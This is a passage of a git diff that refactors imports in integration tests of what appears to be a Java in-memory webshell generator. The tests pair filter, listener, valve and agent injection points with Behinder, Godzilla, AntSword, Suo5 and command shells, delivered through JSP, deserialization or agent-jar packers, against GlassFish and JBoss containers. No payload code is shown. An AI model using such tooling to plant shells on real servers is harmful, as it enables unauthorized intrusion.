arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java index 92a1f633..0687354e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.glassfish; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,24 +43,24 @@ public class GlassFish7ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index 86ac7c82..a04a3ac1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.jbossas; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,44 +42,44 @@ public class Jboss423ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 9ef1ebb2..9733d99e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.jbossas; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -45,42 +45,42 @@ public class Jboss510ContainerTest { return Stream.of( // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index 7d2473c1..83a47b60 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.jbossas; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,44 +42,44 @@ public class Jboss610ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index 9b441473..c8555089 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.jbossas; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -45,29 +45,29 @@ public class Jboss711ContainerTest { */ static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - 